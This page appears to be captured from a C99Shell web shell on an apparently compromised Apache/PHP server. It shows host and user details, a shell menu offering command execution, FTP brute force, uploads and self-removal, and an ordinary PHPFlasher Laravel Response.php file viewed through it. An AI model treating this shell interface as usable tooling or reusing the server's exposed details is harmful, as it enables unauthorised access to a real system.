!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-flasher/flasher-laravel/Http/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Response.php (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the PHPFlasher package.
 * (c) Younes KHOUBZA <younes.khoubza@gmail.com>
 */

namespace Flasher\Laravel\Http;

use 
Flasher\Prime\Http\ResponseInterface;
use 
Illuminate\Http\JsonResponse as LaravelJsonResponse;
use 
Illuminate\Http\Response as LaravelResponse;

final class 
Response implements ResponseInterface
{
    
/**
     * @var LaravelJsonResponse|LaravelResponse
     */
    
private $response;

    
/**
     * @param LaravelJsonResponse|LaravelResponse $response
     */
    
public function __construct($response)
    {
        
$this->response $response;
    }

    
/**
     * {@inheritDoc}
     */
    
public function isRedirection()
    {
        return 
$this->response->isRedirection();
    }

    
/**
     * {@inheritDoc}
     */
    
public function isJson()
    {
        return 
$this->response instanceof LaravelJsonResponse;
    }

    
/**
     * {@inheritDoc}
     */
    
public function isHtml()
    {
        
$contentType $this->response->headers->get('Content-Type');

        return 
false !== stripos($contentType'html'); // @phpstan-ignore-line
    
}

    
/**
     * {@inheritDoc}
     */
    
public function isAttachment()
    {
        
$contentDisposition $this->response->headers->get('Content-Disposition''');

        return 
false !== stripos($contentDisposition'attachment;'); // @phpstan-ignore-line
    
}

    
/**
     * {@inheritDoc}
     */
    
public function getContent()
    {
        return 
$this->response->getContent(); // @phpstan-ignore-line
    
}

    
/**
     * {@inheritDoc}
     */
    
public function setContent($content)
    {
        
$original null;
        if (
$this->response instanceof \Illuminate\Http\Response && $this->response->getOriginalContent()) {
            
$original $this->response->getOriginalContent();
        }

        
$this->response->setContent($content);

        
// Restore original response (eg. the View or Ajax data)
        
if ($original) {
            
$this->response->original $original;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--